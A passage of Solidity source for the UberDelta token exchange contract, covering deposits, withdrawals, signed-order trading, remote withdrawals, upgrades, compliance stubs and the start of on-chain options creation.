owner = msg.sender;
manager = msg.sender;
}
function transferOwnership(address _newOwner) onlyOwner external{
require(_newOwner != owner);
OwnershipTransferProposed(owner, _newOwner);
newOwner = _newOwner;
}
function confirmOwnership() external {
assert(msg.sender == newOwner);
OwnershipTransferConfirmed(owner, newOwner);
owner = newOwner;
}
function newManager(address _newManager) onlyOwner external{
require(_newManager != address(0x0));
NewManager(_newManager);
manager = _newManager;
}
}
contract Helper is OwnerManager {
mapping (address => bool) public isHelper;
modifier onlyHelper {
assert(isHelper[msg.sender] == true);
_;
}
event ChangeHelper(
address indexed helper,
bool status
);
function Helper() public{
isHelper[msg.sender] = true;
}
function changeHelper(address _helper, bool _status) external onlyManager {
ChangeHelper(_helper, _status);
isHelper[_helper] = _status;
}
}
contract Compliance {
function canDeposit(address _user) public view returns (bool isAllowed);
function canTrade(address _token, address _user) public view returns (bool isAllowed);
function validateTrade(
address _token,
address _getUser,
address _giveUser
)
public
view
returns (bool isAllowed)
;
}
contract OptionRegistry {
function registerOptionPair(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires
)
public
returns(bool)
;
function isOptionPairRegistered(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires
)
public
view
returns(bool)
;
}
contract EOS {
function register(string key) public;
}
contract UberDelta is SafeMath, OwnerManager, Helper {
// The account that will receive fees
address public feeAccount;
// The account that will receive lost ERC20 tokens
address public sweepAccount;
// The address of the compliance engine
address public complianceAddress;
// The address of the options registry
address public optionsRegistryAddress;
// The address of the next exchange contract
address public newExchange;
// Turn off deposits and trades, allow upgrade and withdraw
bool public contractLocked;
bytes32 signedTradeHash = keccak256(
"address contractAddress",
"address takerTokenAddress",
"uint256 takerTokenAmount",
"address makerTokenAddress",
"uint256 makerTokenAmount",
"uint256 tradeExpires",
"uint256 salt",
"address maker",
"address restrictedTo"
);
bytes32 signedWithdrawHash = keccak256(
"address contractAddress",
"uint256 amount",
"uint256 fee",
"uint256 withdrawExpires",
"uint256 salt",
"address maker",
"address restrictedTo"
);
// Balance per token, for each user.
mapping (address => mapping (address => uint256)) public balances;
// global token balance tracking (to detect lost tokens)
mapping (address => uint256) public globalBalance;
// List of orders created by calling the exchange contract directly.
mapping (bytes32 => bool) public orders;
// Lists the amount of each order that has been filled or cancelled.
mapping (bytes32 => uint256) public orderFills;
// Tokens that need to be checked through the compliance engine.
mapping (address => bool) public restrictedTokens;
// Mapping of fees by user class (default class == 0x0)
mapping (uint256 => uint256) public feeByClass;
// Mapping of users to user classes.
mapping (address => uint256) public userClass;
/*******************************************
/ Exchange Regular Events
/******************************************/
// Note: Order creation is usually off-chain
event Order(
bytes32 indexed tradePair,
address indexed maker,
address[4] addressData,
uint256[4] numberData
);
event Cancel(
bytes32 indexed tradePair,
address indexed maker,
address[4] addressData,
uint256[4] numberData,
uint256 status
);
event FailedTrade(
bytes32 indexed tradePair,
address indexed taker,
bytes32 hash,
uint256 failReason
);
event Trade(
bytes32 indexed tradePair,
address indexed maker,
address indexed taker,
address makerToken,
address takerToken,
address restrictedTo,
uint256[4] numberData,
uint256 tradeAmount,
bool fillOrKill
);
event Deposit(
address indexed token,
address indexed toUser,
address indexed sender,
uint256 amount
);
event Withdraw(
address indexed token,
address indexed toUser,
uint256 amount
);
event InternalTransfer(
address indexed token,
address indexed toUser,
address indexed sender,
uint256 amount
);
event TokenSweep(
address indexed token,
address indexed sweeper,
uint256 amount,
uint256 balance
);
event RestrictToken(
address indexed token,
bool status
);
event NewExchange(
address newExchange
);
event ChangeFeeAccount(
address feeAccount
);
event ChangeSweepAccount(
address sweepAccount
);
event ChangeClassFee(
uint256 indexed class,
uint256 fee
);
event ChangeUserClass(
address indexed user,
uint256 class
);
event LockContract(
bool status
);
event UpdateComplianceAddress(
address newComplianceAddress
);
event UpdateOptionsRegistryAddress(
address newOptionsRegistryAddress
);
event Upgrade(
address indexed user,
address indexed token,
address newExchange,
uint256 amount
);
event RemoteWithdraw(
address indexed maker,
address indexed sender,
uint256 withdrawAmount,
uint256 feeAmount,
uint256 withdrawExpires,
uint256 salt,
address restrictedTo
);
event CancelRemoteWithdraw(
address indexed maker,
uint256 withdrawAmount,
uint256 feeAmount,
uint256 withdrawExpires,
uint256 salt,
address restrictedTo,
uint256 status
);
//Constructor Function, set initial values.
function UberDelta() public {
feeAccount = owner;
sweepAccount = owner;
feeByClass[0x0] = 3000000000000000;
contractLocked = false;
complianceAddress = this;
optionsRegistryAddress = this;
}
// Prevent raw sends of Eth.
function() public {
revert();
}
/*******************************************
/ Contract Control Functions
/******************************************/
function changeNewExchange(address _newExchange) external onlyOwner {
//since _newExchange being zero turns off the upgrade function, lets
//allow this to be reset to 0x0.
newExchange = _newExchange;
NewExchange(_newExchange);
}
function changeFeeAccount(address _feeAccount) external onlyManager {
require(_feeAccount != address(0x0));
feeAccount = _feeAccount;
ChangeFeeAccount(_feeAccount);
}
function changeSweepAccount(address _sweepAccount) external onlyManager {
require(_sweepAccount != address(0x0));
sweepAccount = _sweepAccount;
ChangeSweepAccount(_sweepAccount);
}
function changeClassFee(uint256 _class, uint256 _fee) external onlyManager {
require(_fee <= 10000000000000000); //Max 1%.
feeByClass[_class] = _fee;
ChangeClassFee(_class, _fee);
}
function changeUserClass(address _user, uint256 _newClass) external onlyHelper {
userClass[_user] = _newClass;
ChangeUserClass(_user, _newClass);
}
//Turn off deposits and trades, but still allow withdrawals and upgrades.
function lockContract(bool _lock) external onlyManager {
contractLocked = _lock;
LockContract(_lock);
}
function updateComplianceAddress(address _newComplianceAddress)
external
onlyManager
{
complianceAddress = _newComplianceAddress;
UpdateComplianceAddress(_newComplianceAddress);
}
function updateOptionsRegistryAddress(address _newOptionsRegistryAddress)
external
onlyManager
{
optionsRegistryAddress = _newOptionsRegistryAddress;
UpdateOptionsRegistryAddress(_newOptionsRegistryAddress);
}
// restriction function for tokens that need additional verifications
function tokenRestriction(address _newToken, bool _status) external onlyHelper {
restrictedTokens[_newToken] = _status;
RestrictToken(_newToken, _status);
}
//Turn off deposits and trades, but still allow withdrawals and upgrades.
modifier notLocked() {
require(!contractLocked);
_;
}
/*******************************************************
/ Deposit/Withdrawal/Transfer
/
/ In all of the following functions, it should be noted
/ that the 0x0 address is used to represent ETH.
/******************************************************/
// SafeMath sanity checks inputs in deposit(), withdraw(), and token functions.
// Deposit ETH in the contract to trade with
function deposit() external notLocked payable returns(uint256) {
require(Compliance(complianceAddress).canDeposit(msg.sender));
// defaults to true until we change compliance code
balances[address(0x0)][msg.sender] = safeAdd(balances[address(0x0)][msg.sender], msg.value);
globalBalance[address(0x0)] = safeAdd(globalBalance[address(0x0)], msg.value);
Deposit(0x0, msg.sender, msg.sender, msg.value);
return(msg.value);
}
// Withdraw ETH from the contract to your wallet (internal transaction on etherscan)
function withdraw(uint256 _amount) external returns(uint256) {
//require(balances[address(0x0)][msg.sender] >= _amount);
//handled by safeSub.
balances[address(0x0)][msg.sender] = safeSub(balances[address(0x0)][msg.sender], _amount);
globalBalance[address(0x0)] = safeSub(globalBalance[address(0x0)], _amount);
//transfer has a built in require
msg.sender.transfer(_amount);
Withdraw(0x0, msg.sender, _amount);
return(_amount);
}
// Deposit ERC20 tokens in the contract to trade with
// Token(_token).approve(this, _amount) must be called in advance
// ERC223 tokens must be deposited by a transfer to this contract ( see tokenFallBack(..) )
function depositToken(address _token, uint256 _amount) external notLocked returns(uint256) {
require(_token != address(0x0));
require(Compliance(complianceAddress).canDeposit(msg.sender));
balances[_token][msg.sender] = safeAdd(balances[_token][msg.sender], _amount);
globalBalance[_token] = safeAdd(globalBalance[_token], _amount);
require(Token(_token).transferFrom(msg.sender, this, _amount));
Deposit(_token, msg.sender, msg.sender, _amount);
return(_amount);
}
// Withdraw ERC20/223 tokens from the contract back to your wallet
function withdrawToken(address _token, uint256 _amount)
external
returns (uint256)
{
if (_token == address(0x0)){
//keep the nulls to reduce gas usage.
//require(balances[_token)][msg.sender] >= _amount);
//handled by safeSub.
balances[address(0x0)][msg.sender] = safeSub(balances[address(0x0)][msg.sender], _amount);
globalBalance[address(0x0)] = safeSub(globalBalance[address(0x0)], _amount);
//transfer has a built in require
msg.sender.transfer(_amount);
} else {
//require(balances[_token][msg.sender] >= _amount);
//handled by safeSub
balances[_token][msg.sender] = safeSub(balances[_token][msg.sender], _amount);
globalBalance[_token] = safeSub(globalBalance[_token], _amount);
require(Token(_token).transfer(msg.sender, _amount));
}
Withdraw(_token, msg.sender, _amount);
return _amount;
}
// Deposit ETH in the contract on behalf of another address
// Warning: afterwards, only _user will be able to trade or withdraw these funds
function depositToUser(address _toUser) external payable notLocked returns (bool success) {
require(
(_toUser != address(0x0))
&& (_toUser != address(this))
&& (Compliance(complianceAddress).canDeposit(_toUser))
);
balances[address(0x0)][_toUser] = safeAdd(balances[address(0x0)][_toUser], msg.value);
globalBalance[address(0x0)] = safeAdd(globalBalance[address(0x0)], msg.value);
Deposit(0x0, _toUser, msg.sender, msg.value);
return true;
}
// Deposit ERC20 tokens in the contract on behalf of another address
// Token(_token).approve(this, _amount) must be called in advance
// Warning: afterwards, only _toUser will be able to trade or withdraw these funds
// ERC223 tokens must be deposited by a transfer to this contract ( see tokenFallBack(..) )
function depositTokenToUser(
address _toUser,
address _token,
uint256 _amount
)
external
notLocked
returns (bool success)
{
require(
(_token != address(0x0))
&& (_toUser != address(0x0))
&& (_toUser != address(this))
&& (_toUser != _token)
&& (Compliance(complianceAddress).canDeposit(_toUser))
);
balances[_token][_toUser] = safeAdd(balances[_token][_toUser], _amount);
globalBalance[_token] = safeAdd(globalBalance[_token], _amount);
require(Token(_token).transferFrom(msg.sender, this, _amount));
Deposit(_token, _toUser, msg.sender, _amount);
return true;
}
//ERC223 Token Acceptor function, called when an ERC2223 token is transferred to this contract
// provide _sendTo to make it a deposit on behalf of another address (depositToUser)
function tokenFallback(
address _from, // user calling the function
uint256 _value, // the number of tokens
bytes _sendTo // "deposit to other user" if exactly 20 bytes sent
)
external
notLocked
{
//first lets figure out who this is going to.
address toUser = _from; //probably this
if (_sendTo.length == 20){ //but use data for sendTo otherwise.
// I'm about 90% sure I don't need to do the casting here, but for
// like twenty gas, I'll take the protection from potentially
// stomping on weird memory locations.
uint256 asmAddress;
assembly { //uses 50 gas
asmAddress := calldataload(120)
}
toUser = address(asmAddress);
}
//sanity checks.
require(
(toUser != address(0x0))
&& (toUser != address(this))
&& (toUser != msg.sender) // msg.sender is the token
&& (Compliance(complianceAddress).canDeposit(toUser))
);
// check if a contract is calling this
uint256 codeLength;
assembly {
codeLength := extcodesize(caller)
}
require(codeLength > 0);
globalBalance[msg.sender] = safeAdd(globalBalance[msg.sender], _value);
balances[msg.sender][toUser] = safeAdd(balances[msg.sender][toUser], _value);
//sanity check, and as a perk, we check for balanceOf();
require(Token(msg.sender).balanceOf(this) >= _value);
Deposit(msg.sender, toUser, _from, _value);
}
// Move deposited tokens or ETH (0x0) from one to another address within the contract
function internalTransfer(
address _toUser,
address _token,
uint256 _amount
)
external
notLocked
returns(uint256)
{
require(
(balances[_token][msg.sender] >= _amount)
&& (_toUser != address(0x0))
&& (_toUser != address(this))
&& (_toUser != _token)
&& (Compliance(complianceAddress).canDeposit(_toUser))
);
balances[_token][msg.sender] = safeSub(balances[_token][msg.sender], _amount);
balances[_token][_toUser] = safeAdd(balances[_token][_toUser], _amount);
InternalTransfer(_token, _toUser, msg.sender, _amount);
return(_amount);
}
// return the token/ETH balance a user has deposited in the contract
function balanceOf(address _token, address _user) external view returns (uint) {
return balances[_token][_user];
}
// In order to see the ERC20 total balance, we're calling an external contract,
// and this contract claims to be ERC20, but we don't know what's really there.
// We can't rely on the EVM or solidity to enforce "view", so even though a
// normal token can rely on itself to be non-malicious, we can't.
// We have no idea what potentially evil tokens we'll be interacting with.
// The call to check the reported balance needs to go after the state changes,
// even though it's un-natural. Now, on one hand, this function might at first
// appear safe, since we're only allowing the sweeper address to access
// *this function,* but we are reading the state of the globalBalance.
// In theory, a malicious token could do the following:
// 1a) Check if the caller of balanceOf is our contract, if it's not, act normally.
// 1b) If the caller is our contract, it does the following:
// 2) Read our contracts globalBalance for its own address.
// 3) Sets our contract's balance of the token (in the token controller) to our internal globalBalance
// 4) Allocates some other address the difference in globalBalance and actual balance for our contract.
// 5) Report back to this function exactly the amount we had in globalBalance.
// (which, by then is true, since they were stolen).
// Now we're always going to see 0 extra tokens, and our users have had their tokens perminantly lost.
// bonus: this is why there is no "sweep all" function.
// Detect ERC20 tokens that have been sent to the contract without a deposit (lost tokens),
// which are not included in globalBalance[..]
function sweepTokenAmount(address _token, uint256 _amount) external returns(uint256) {
assert(msg.sender == sweepAccount);
balances[_token][sweepAccount] = safeAdd(balances[_token][sweepAccount], _amount);
globalBalance[_token] = safeAdd(globalBalance[_token], _amount);
//You go last!
if(_token != address(0x0)) {
require(globalBalance[_token] <= Token(_token).balanceOf(this));
} else {
// if another contract performs selfdestruct(UberDelta),
// ETH can get in here without being in globalBalance
require(globalBalance[address(0x0)] <= this.balance);
}
TokenSweep(_token, msg.sender, _amount, balances[_token][sweepAccount]);
return(_amount);
}
/*******************************************
/ Regular Trading functions
/******************************************/
//now contracts can place orders!
// Normal order creation happens off-chain and orders are signed by creators,
// this function allows for on-chain orders to be created
function order(
address[4] _addressData,
uint256[4] _numberData //web3 isn't ready for structs.
)
external
notLocked
returns (bool success)
{
// _addressData[2] is maker;
if (msg.sender != _addressData[2]) { return false; }
bytes32 hash = getHash(_addressData, _numberData);
orders[hash] = true;
Order(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
_addressData,
_numberData);
return true;
}
function tradeBalances(
address _takerTokenAddress,
uint256 _takerTokenAmount,
address _makerTokenAddress,
uint256 _makerTokenAmount,
address _maker,
uint256 _tradeAmount
)
internal
{
require(_takerTokenAmount > 0); //safeDiv
// We charge only the takers this fee
uint256 feeValue = safeMul(_tradeAmount, feeByClass[userClass[msg.sender]]) / (1 ether);
balances[_takerTokenAddress][_maker] =
safeAdd(balances[_takerTokenAddress][_maker], _tradeAmount);
balances[_takerTokenAddress][msg.sender] =
safeSub(balances[_takerTokenAddress][msg.sender], safeAdd(_tradeAmount, feeValue));
balances[_makerTokenAddress][_maker] =
safeSub(
balances[_makerTokenAddress][_maker],
safeMul(_makerTokenAmount, _tradeAmount) / _takerTokenAmount
);
balances[_makerTokenAddress][msg.sender] =
safeAdd(
balances[_makerTokenAddress][msg.sender],
safeMul(_makerTokenAmount, _tradeAmount) / _takerTokenAmount
);
balances[_takerTokenAddress][feeAccount] =
safeAdd(balances[_takerTokenAddress][feeAccount], feeValue);
}
function trade(
address[4] _addressData,
uint256[4] _numberData, //web3 isn't ready for structs.
uint8 _v,
bytes32 _r,
bytes32 _s,
uint256 _amount,
bool _fillOrKill
)
external
notLocked
returns(uint256 tradeAmount)
{
// _addressData[0], // takerTokenAddress;
// _numberData[0], // takerTokenAmount;
// _addressData[1], // makerTokenAddress;
// _numberData[1], // makerTokenAmount;
// _numberData[2], // tradeExpires;
// _numberData[3], // salt;
// _addressData[2], // maker;
// _addressData[3] // restrictedTo;
bytes32 hash = getHash(_addressData, _numberData);
tradeAmount = safeSub(_numberData[0], orderFills[hash]); //avail to trade
//balance of giveToken / amount I said I'd give of giveToken * amount I said I want of getToken
if (
tradeAmount > safeDiv(
safeMul(balances[_addressData[1]][_addressData[2]], _numberData[0]),
_numberData[1]
)
)
{
tradeAmount = safeDiv(
safeMul(balances[_addressData[1]][_addressData[2]], _numberData[0]),
_numberData[1]
);
}
if (tradeAmount > _amount) { tradeAmount = _amount; }
//_numberData[0] is takerTokenAmount
if (tradeAmount == 0) { //idfk. There's nothing there to get. Canceled? Traded?
if (orderFills[hash] < _numberData[0]) { //Maker seems to be missing tokens?
FailedTrade(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
hash,
0
);
} else { // either cancelled or already traded.
FailedTrade(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
hash,
1
);
}
return 0;
}
if (block.number > _numberData[2]) { //order is expired
FailedTrade(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
hash,
2
);
return 0;
}
if ((_fillOrKill == true) && (tradeAmount < _amount)) { //didnt fill, so kill
FailedTrade(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
hash,
3
);
return 0;
}
uint256 feeValue = safeMul(_amount, feeByClass[userClass[msg.sender]]) / (1 ether);
//if they trade more than they have, get 0.
if ( (_amount + feeValue) > balances[_addressData[0]][msg.sender]) {
FailedTrade(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
hash,
4
);
return 0;
}
if ( //not a valid order.
(ecrecover(keccak256(signedTradeHash, hash), _v, _r, _s) != _addressData[2])
&& (! orders[hash])
)
{
FailedTrade(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
hash,
5
);
return 0;
}
if ((_addressData[3] != address(0x0)) && (_addressData[3] != msg.sender)) { //check restrictedTo
FailedTrade(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
hash,
6
);
return 0;
}
if ( //if there's a compliance restriction.
((_addressData[0] != address(0x0)) //if not Eth, and restricted, check with Compliance.
&& (restrictedTokens[_addressData[0]] )
&& ! Compliance(complianceAddress).validateTrade(_addressData[0], _addressData[2], msg.sender)
)
|| ((_addressData[1] != address(0x0)) //ditto
&& (restrictedTokens[_addressData[1]])
&& ! Compliance(complianceAddress).validateTrade(_addressData[1], _addressData[2], msg.sender)
)
)
{
FailedTrade(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
hash,
7
);
return 0;
}
//Do the thing!
tradeBalances(
_addressData[0], // takerTokenAddress;
_numberData[0], // takerTokenAmount;
_addressData[1], // makerTokenAddress;
_numberData[1], // makerTokenAmount;
_addressData[2], // maker;
tradeAmount
);
orderFills[hash] = safeAdd(orderFills[hash], tradeAmount);
Trade(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
_addressData[2],
msg.sender,
_addressData[1],
_addressData[0],
_addressData[3],
_numberData,
tradeAmount,
_fillOrKill
);
return(tradeAmount);
}
// Cancel a signed order, once this is confirmed nobody will be able to trade it anymore
function cancelOrder(
address[4] _addressData,
uint256[4] _numberData //web3 isn't ready for structs.
)
external
returns(uint256 amountCancelled)
{
require(msg.sender == _addressData[2]);
// msg.sender can 'cancel' nonexistent orders since they're offchain.
bytes32 hash = getHash(_addressData, _numberData);
amountCancelled = safeSub(_numberData[0],orderFills[hash]);
orderFills[hash] = _numberData[0];
//event trigger is moved ahead of balance resetting to allow expression of the already-filled amount
// _numberData[0] is takerTokenAmount;
Cancel(
(bytes32(_addressData[0]) ^ bytes32(_addressData[1])),
msg.sender,
_addressData,
_numberData,
amountCancelled);
return amountCancelled;
}
/**************************
/ Remote Withdraw
***************************/
// Perform an ETH withdraw transaction for someone else based on their signed message
// Useful if the owner of the funds does not have enough ETH for gas fees in their wallet.
// msg.sender receives fee for the effort and gas costs
function remoteWithdraw(
uint256 _withdrawAmount,
uint256 _feeAmount,
uint256 _withdrawExpires,
uint256 _salt,
address _maker,
address _restrictedTo, //0x0 = anyone
uint8 _v,
bytes32 _r,
bytes32 _s
)
external
notLocked
returns(bool)
{
//is the withdraw possible?
require(
(balances[address(0x0)][_maker] >= safeAdd(_withdrawAmount, _feeAmount))
&& (
(_restrictedTo == address(0x0))
|| (_restrictedTo == msg.sender)
)
&& ((_feeAmount == 0) || (Compliance(complianceAddress).canDeposit(msg.sender)))
);
//has this withdraw happened already? (and generate the hash)
bytes32 hash = keccak256(
this,
_withdrawAmount,
_feeAmount,
_withdrawExpires,
_salt,
_maker,
_restrictedTo
);
require(orderFills[hash] == 0);
//is this real?
require(
ecrecover(keccak256(signedWithdrawHash, hash), _v, _r, _s) == _maker
);
//only once.
orderFills[hash] = 1;
balances[address(0x0)][_maker] =
safeSub(balances[address(0x0)][_maker], safeAdd(_withdrawAmount, _feeAmount));
// pay fee to the user performing the remote withdraw
balances[address(0x0)][msg.sender] = safeAdd(balances[address(0x0)][msg.sender], _feeAmount);
globalBalance[address(0x0)] = safeSub(globalBalance[address(0x0)], _withdrawAmount);
RemoteWithdraw(
_maker,
msg.sender,
_withdrawAmount,
_feeAmount,
_withdrawExpires,
_salt,
_restrictedTo
);
//implicit require included.
_maker.transfer(_withdrawAmount);
return(true);
}
// cancel a signed request for a remote withdraw
function cancelRemoteWithdraw(
uint256 _withdrawAmount,
uint256 _feeAmount,
uint256 _withdrawExpires,
uint256 _salt,
address _restrictedTo //0x0 = anyone
)
external
{
// msg.sender can cancel nonexsistent orders.
bytes32 hash = keccak256(
this,
_withdrawAmount,
_feeAmount,
_withdrawExpires,
_salt,
msg.sender,
_restrictedTo
);
CancelRemoteWithdraw(
msg.sender,
_withdrawAmount,
_feeAmount,
_withdrawExpires,
_salt,
_restrictedTo,
orderFills[hash]
);
//set to completed after, event shows pre-cancel status.
orderFills[hash] = 1;
}
/**************************
/Upgrade Function
***************************/
// move tokens/ETH over to a new upgraded smart contract (avoids having to withdraw & deposit)
function upgrade(address _token) external returns(uint256 moveBalance) {
require (newExchange != address(0x0));
moveBalance = balances[_token][msg.sender];
globalBalance[_token] = safeSub(globalBalance[_token], moveBalance);
balances[_token][msg.sender] = 0;
if (_token != address(0x0)){
require(Token(_token).approve(newExchange, moveBalance));
require(UberDelta(newExchange).depositTokenToUser(msg.sender, _token, moveBalance));
} else {
require(UberDelta(newExchange).depositToUser.value(moveBalance)(msg.sender));
}
Upgrade(msg.sender, _token, newExchange, moveBalance);
return(moveBalance);
}
/*******************************************
/ Data View functions
/******************************************/
function testTrade(
address[4] _addressData,
uint256[4] _numberData, //web3 isn't ready for structs.
uint8 _v,
bytes32 _r,
bytes32 _s,
uint256 _amount,
address _sender,
bool _fillOrKill
)
public
view
returns(uint256)
{
uint256 feeValue = safeMul(_amount, feeByClass[userClass[_sender]]) / (1 ether);
if (
contractLocked
||
((_addressData[0] != address(0x0)) //if not Eth, and restricted, check with Compliance.
&& (restrictedTokens[_addressData[0]] )
&& ! Compliance(complianceAddress).validateTrade(_addressData[0], _addressData[2], _sender)
)
|| ((_addressData[1] != address(0x0)) //ditto
&& (restrictedTokens[_addressData[1]])
&& ! Compliance(complianceAddress).validateTrade(_addressData[1], _addressData[2], _sender)
)
//if they trade more than they have, get 0.
|| ((_amount + feeValue) > balances[_addressData[0]][_sender])
|| ((_addressData[3] != address(0x0)) && (_addressData[3] != _sender)) //check restrictedTo
)
{
return 0;
}
uint256 tradeAmount = availableVolume(
_addressData,
_numberData,
_v,
_r,
_s
);
if (tradeAmount > _amount) { tradeAmount = _amount; }
if ((_fillOrKill == true) && (tradeAmount < _amount)) {
return 0;
}
return tradeAmount;
}
// get how much of an order is left (unfilled)
// return value in order of _takerTokenAddress
function availableVolume(
address[4] _addressData,
uint256[4] _numberData, //web3 isn't ready for structs.
uint8 _v,
bytes32 _r,
bytes32 _s
)
public
view
returns(uint256 amountRemaining)
{
// _addressData[0] // takerTokenAddress;
// _numberData[0] // takerTokenAmount;
// _addressData[1] // makerTokenAddress;
// _numberData[1] // makerTokenAmount;
// _numberData[2] // tradeExpires;
// _numberData[3] // salt;
// _addressData[2] // maker;
// _addressData[3] // restrictedTo;
bytes32 hash = getHash(_addressData, _numberData);
if (
(block.number > _numberData[2])
|| (
(ecrecover(keccak256(signedTradeHash, hash), _v, _r, _s) != _addressData[2])
&& (! orders[hash])
)
) { return 0; }
//uint256 amountRemaining = safeSub(myTrade.takerTokenAmount, orderFills[hash]);
amountRemaining = safeSub(_numberData[0], orderFills[hash]);
if (
amountRemaining < safeDiv(
safeMul(balances[_addressData[1]][_addressData[2]], _numberData[0]),
_numberData[1]
)
) return amountRemaining;
return (
safeDiv(
safeMul(balances[_addressData[1]][_addressData[2]], _numberData[0]),
_numberData[1]
)
);
}
// get how much of an order has been filled
// return value in order of _takerTokenAddress
function getUserFee(
address _user
)
external
view
returns(uint256)
{
return feeByClass[userClass[_user]];
}
// get how much of an order has been filled
// return value in order of _takerTokenAddress
function amountFilled(
address[4] _addressData,
uint256[4] _numberData //web3 isn't ready for structs.
)
external
view
returns(uint256)
{
bytes32 hash = getHash(_addressData, _numberData);
return orderFills[hash];
}
// check if a request for a remote withdraw is still valid
function testRemoteWithdraw(
uint256 _withdrawAmount,
uint256 _feeAmount,
uint256 _withdrawExpires,
uint256 _salt,
address _maker,
address _restrictedTo,
uint8 _v,
bytes32 _r,
bytes32 _s,
address _sender
)
external
view
returns(uint256)
{
bytes32 hash = keccak256(
this,
_withdrawAmount,
_feeAmount,
_withdrawExpires,
_salt,
_maker,
_restrictedTo
);
if (
contractLocked
||
(balances[address(0x0)][_maker] < safeAdd(_withdrawAmount, _feeAmount))
||((_restrictedTo != address(0x0)) && (_restrictedTo != _sender))
|| (orderFills[hash] != 0)
|| (ecrecover(keccak256(signedWithdrawHash, hash), _v, _r, _s) != _maker)
|| ((_feeAmount > 0) && (! Compliance(complianceAddress).canDeposit(_sender)))
)
{
return 0;
} else {
return _withdrawAmount;
}
}
function getHash(
address[4] _addressData,
uint256[4] _numberData //web3 isn't ready for structs.
)
public
view
returns(bytes32)
{
return(
keccak256(
this,
_addressData[0], // takerTokenAddress;
_numberData[0], // takerTokenAmount;
_addressData[1], // makerTokenAddress;
_numberData[1], // makerTokenAmount;
_numberData[2], // tradeExpires;
_numberData[3], // salt;
_addressData[2], // maker;
_addressData[3] // restrictedTo;
)
);
}
/***********************************
/ Compliance View Code
************************************/
//since the compliance code might move, we should have a way to always
//call a function to this contract to get the current values
function testCanDeposit(
address _user
)
external
view
returns (bool)
{
return(Compliance(complianceAddress).canDeposit(_user));
}
function testCanTrade(
address _token,
address _user
)
external
view
returns (bool)
{
return(Compliance(complianceAddress).canTrade(_token, _user));
}
function testValidateTrade(
address _token,
address _getUser,
address _giveUser
)
external
view
returns (bool isAllowed)
{
return(Compliance(complianceAddress).validateTrade(_token, _getUser, _giveUser));
}
/**************************
/ Default Compliance Code
***************************/
// These will eventually live in a different contract.
// every can deposit by default, later a registry?
// For now, always say no if called for trades.
// the earliest use may be halting trade in a token.
function canDeposit(
address _user
)
public
view
returns (bool isAllowed)
{
return(true);
}
function canTrade(
address _token,
address _user
)
public
view
returns (bool isAllowed)
{
return(false);
}
function validateTrade(
address _token,
address _getUser,
address _giveUser
)
public
view
returns (bool isAllowed)
{
return(false);
}
/***********************************
/ THIS IS WHERE OPTIONS LIVE!!!!
/**********************************/
mapping (address => uint256) public exercisedOptions;
//get asset for tickets
event CollapseOption(
address indexed user,
address indexed holderTicketAddress,
address indexed writerTicketAddress,
uint256 ticketsCollapsed,
bytes32 optionPair //assetTokenAddress xor strikeTokenAddress
);
//get holderticket + asset for strike
event ExcerciseUnwind(
address indexed user,
address indexed holderTicketAddress,
uint256 ticketsUnwound,
bytes32 optionPair,
bool fillOrKill
);
//get asset for writerticket
event ExpireOption(
address indexed user,
address indexed writerTicketAddress,
uint256 ticketsExpired,
bytes32 optionPair
);
//get tickets for asset
event CreateOption(
address indexed user,
address indexed holderTicketAddress,
address indexed writerTicketAddress,
uint256 ticketsCreated,
bytes32 optionPair
);
//get assset for strike + holderticket
event ExcerciseOption(
address indexed user,
address indexed holderTicketAddress,
uint256 ticketsExcercised,
bytes32 optionPair //assetTokenAddress xor strikeTokenAddress
);
/******************
/ optionFunctions
******************/
//if before expiry, deposit asset, get buy ticket, write ticket
// 1 ticket gets (10^18) option units credited to them.
function createOptionPair( //#65
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires,
uint256 _ticketAmount //tickets times (1 ether)
)
external
notLocked
returns (uint256 ticketsCreated)
{
//if before expiry
require (block.number < _optionExpires); //option would be expired
//if they have the asset
//[checked by safemath during locking]
//lock asset to 0x0.
//the percent of one contract times _assetTokenAmount = amount moving
//creation fee?
balances[_assetTokenAddress][0x0] =
safeAdd(
balances[_assetTokenAddress][0x0],
safeDiv(safeMul(_assetTokenAmount, _ticketAmount), 1 ether)
);
balances[_assetTokenAddress][msg.sender] =
safeSub(
balances[_assetTokenAddress][msg.sender],
safeDiv(safeMul(_assetTokenAmount, _ticketAmount), 1 ether)
);
address holderTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
false
);
address writerTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
true
);
//issue write option
balances[writerTicketAddress][msg.sender] =
safeAdd(balances[writerTicketAddress][msg.sender], _ticketAmount);
globalBalance[writerTicketAddress] =
safeAdd(globalBalance[writerTicketAddress], _ticketAmount);
//issue hold option
balances[holderTicketAddress][msg.sender] =
safeAdd(balances[holderTicketAddress][msg.sender], _ticketAmount);
globalBalance[holderTicketAddress] =
safeAdd(globalBalance[holderTicketAddress], _ticketAmount);
CreateOption(
msg.sender,
holderTicketAddress,
writerTicketAddress,
_ticketAmount,
(bytes32(_assetTokenAddress) ^ bytes32(_strikeTokenAddress))
);
//check if we need to register, and do if we do.
if (
OptionRegistry(optionsRegistryAddress).isOptionPairRegistered(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires
)
== false
)
{
require(
OptionRegistry(optionsRegistryAddress).registerOptionPair(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires
